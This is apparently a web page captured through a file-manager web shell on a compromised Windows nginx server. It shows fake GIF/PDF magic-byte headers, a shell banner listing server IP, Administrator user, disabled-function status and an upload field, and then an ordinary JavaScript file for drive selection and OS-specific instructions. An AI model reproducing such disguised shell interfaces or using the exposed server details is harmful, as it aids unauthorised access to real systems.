GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/js/ |
Upload File : |
// js/driveReplace.js var xmlHttp; // getDrive(driveLetter) // Set the user.userDefaultDrive in the database and call stateChanged[] when done. function getDrive(driveLetter,dataFolder='') { console.log(`${PC}getDrive[driveLetter=${driveLetter} dataFolder=${dataFolder}]`,CG); xmlHttp=GetXmlHttpObject(); if (xmlHttp === null) { alert ("Your browser does not support AJAX!"); return; } if ( dataFolder == 'userDataFolder' ) { dataFolder = document.getElementById('userDataFolder').value; console.log(`${PC}dataFolder=${dataFolder}`,CL); } //alert('getDrive() driveLetter=['+driveLetter+']'); var url=pageURL; url=url+"?driveSelection="+driveLetter; if ( dataFolder !== false ) { url=url+'&dataFolder='+dataFolder; } url=url+"&sid="+Math.random(); xmlHttp.onreadystatechange=stateChanged; console.log(`${PC}url=${url}`,CL); xmlHttp.open("GET",url); xmlHttp.send(null); } // END getDrive. // setDrive(driveLetter) // Set the img_filterImage marginLeft and marginTop and show/hide the replaceDrive div. function setDrive(driveLetter) { console.log(`${PC}setDrive[driveLetter=${driveLetter}]`,CG); if (driveLetter.length <= 1) { let newdriveLetter = driveLetter; if (newdriveLetter === '' ) { newdriveLetter = 'C'; } document.getElementById('hid_driveSelection').value = newdriveLetter; //alert('numberForms='+numberForms+' driveLetter='+driveLetter); for (i=1; i<=numberForms; i++) { e = document.getElementById('driveSelected' + i); e.value = newdriveLetter+':'; } for ( i=1; i<=numberImages; i++ ) { console.log('i='+i); if ( document.getElementById('img_driveImage'+i) ) { document.getElementById('img_driveImage'+i).src='../folder'+newdriveLetter+'.png'; } } if (document.getElementById('img_filterImage')) { /** / driveNumber = ascii_value(driveLetter)-65; driveColumn = driveNumber % 13; driveRow = parseInt((driveNumber+0.01)/13); /**/ driveNumber = ascii_value(newdriveLetter)-64; driveColumn = (driveNumber - 1) % 13; driveRow = parseInt((driveNumber - .991)/13); driveRowYstart = driveRow*24; offsetY = (driveRowYstart); driveColumnXstart = driveColumn*37; offsetX = (driveColumnXstart-480); console.log(`${PC}driveNumber=${driveNumber} driveColumn=${driveColumn} driveRow=${driveRow} offsetX=${offsetX} offsetY=${offsetY}`,CL); eid = document.getElementById('img_filterImage'); eid.style.marginLeft = offsetX+"px"; eid.style.marginTop = offsetY+"px"; } if (document.getElementById('replaceDrive')) { //alert('replaceDrive true '+driveLetter+':'); if (newdriveLetter === defaultDriveLetter) { divHide('replaceDrive'); } else { divShow('replaceDrive'); } } } else { alert('Error in setDrive()\n\ndriveLetter='+driveLetter); } } // END setDrive. // stateChanged() // function called by xmlHttp request onreadystatechange. function stateChanged() { console.log(`${PC}stateChanged[]`,CG); if ( xmlHttp.readyState === 4 ) { setDrive(innerHTML=xmlHttp.responseText); } } // END stateChanged. // GetXmlHttpObject() // Begin a new XMLHttpRequest. function GetXmlHttpObject() { var xmlHttp=null; try { // Firefox, Opera 8.0+, Safari xmlHttp=new XMLHttpRequest(); } catch (e) { // Internet Explorer try { xmlHttp=new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { xmlHttp=new ActiveXObject("Microsoft.XMLHTTP"); } } return xmlHttp; } // END GetXmlHttpObject. // ascii_value(c) // Return the ascii value of the character, c. function ascii_value(c) { console.log(`${PC}ascii_value[c=${c}]`,CG); // restrict input to a single character c = c . charAt (0); // loop through all possible ASCII values var i; var h; for (i = 0; i < 256; ++ i) { // convert i into a 2-digit hex string h = i . toString (16); if (h . length === 1) { h = "0" + h; } // insert a % character into the string h = "%" + h; // determine the character represented by the escape code h = unescape (h); // if the characters match, we've found the ASCII value if (h === c) { break; } } return i; } // END ascii_value. // DisplayStyle(element) function DisplayStyle(Type,Element) { console.log(`${PC}DisplayStyle[Type=${Type} Element=${Element}]`,CG); //console.warn('DisplayStyle[Type='+Type+',Element='+Element.id+']'); var StyleDisplay = Element.style.display; //console.log('StyleDisplay='+StyleDisplay); if ( StyleDisplay === '' || StyleDisplay === 'none' ) { // Is the StyleDisplay empty? var StyleDisplays = { inp:'inline', ol:'block', spn:'inline' }; switch ( Type ) { // Switch Type. case 'inp': case 'ol': case 'spn': StyleDisplay = StyleDisplays[Type]; break; default: StyleDisplay = 'inline'; } // Switch Prefix. //console.log('StyleDisplay='+StyleDisplay); } return StyleDisplay; } // END DisplayStyle. // SwapWinMacLinux(ShowOS,IdNumber) // Swap between Windows, Mac, and Linux instructions. Will show ol and hide spn and inp elements for the ShowOS. // ShowOS = the OS to show instructions for. // IdNumber = the IdNumber of the instruction. function SwapWinMacLinux(ShowOS,IdNumbers) { console.log(`${PC}SwapWinMacLinux[ShowOS=${ShowOS} IdNumbers=${IdNumbers}]`,CG); console.warn('SwapWinMacLinux[ShowOS='+ShowOS+',IdNumbers='+IdNumbers+']'); console.log('IdNumbers='+IdNumbers+' typeof IdNumbers='+(typeof IdNumbers)); if ( typeof IdNumbers == 'number' ) { IdNumbers = [IdNumbers] ; } // Convert single IdNumbers to array. var e; var Element; var ElementHides = ['inp']; // Hide these elements for ShowOS and show them for other OSes. var ElementId; var ElementShows = ['spn','ol']; // Show these elements for ShowOS and hide them for other OSes. var ElementType; var h; var i; var IdNumber; var OtherOS; var OtherOSes; switch ( ShowOS ) { case 'lin': OtherOSes = ['mac','win']; //OtherOSes = ['win']; if ( typeof userDataFolderOriginal !== 'undefined' ) { let userDataFolder = userDataFolderOriginal; if ( userDataFolder == '' ) { userDataFolder = ''; } getDrive('',userDataFolder); } break; case 'mac': OtherOSes = ['lin','win']; break; case 'win': OtherOSes = ['lin','mac']; //OtherOSes = ['lin']; if ( typeof userDataFolderOriginal !== 'undefined' ) { let userDefaultDrive = userDefaultDriveOriginal; if ( userDefaultDrive == '' ) { userDefaultDrive = 'C'; } getDrive(userDefaultDrive,''); } break; } console.log('OtherOSes='+OtherOSes); for ( i=0; i<IdNumbers.length; i++ ) { // Loop thru IdNumbers. IdNumber = IdNumbers[i]; // Hide ShowOS button. console.warn('Hide ShowOS button.'); for ( e=0; e<ElementHides.length; e++ ) { ElementType = ElementHides[e]; ElementId = ElementType+'_'+ShowOS+'_'+IdNumber; console.log('Hide '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? Element.style.display = 'none'; } // Does the ElementId element exist? } // Show other OS buttons. console.warn('Show other OS buttons.'); for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes. OtherOS = OtherOSes[h]; for ( e=0; e<ElementHides.length; e++ ) { ElementType = ElementHides[e]; ElementId = ElementType+'_'+OtherOS+'_'+IdNumber; console.log('Show '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? StyleDisplay = DisplayStyle(ElementType,Element); Element.style.display = StyleDisplay; console.log(ElementId+'.style.display='+StyleDisplay); } // Does the ElementId element exist? } } // Loop thru OtherOSes. // Hide other OS span and instructions. console.warn('Hide other OS span and instructions.'); for ( h=0; h<OtherOSes.length; h++ ) { // Loop thru OtherOSes. OtherOS = OtherOSes[h]; for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows. ElementType = ElementShows[e]; ElementId = ElementType+'_'+OtherOS+'_'+IdNumber; Element = document.getElementById(ElementId); console.log('Hide '+ElementId+'.'); if ( Element ) { // Does the ElementId element exist? Element.style.display = 'none'; } // Does the ElementId element exist? } // Loop thru ElementShows. } // Loop thru OtherOSes. // Show ShowOS span and instructions. console.warn('Show ShowOS span and instructions.'); for ( e=0; e<ElementShows.length; e++ ) { // Loop thru ElementShows. ElementType = ElementShows[e]; ElementId = ElementType+'_'+ShowOS+'_'+IdNumber; console.log('Show '+ElementId+'.'); Element = document.getElementById(ElementId); if ( Element ) { // Does the ElementId element exist? StyleDisplay = DisplayStyle(ElementType,Element); Element.style.display = StyleDisplay; console.log(ElementId+'.style.display='+StyleDisplay); } // Does the ElementId element exist? } // Loop thru ElementShows. } // Loop thru IdNumbers. return false; } // END SwapWinMacLinux.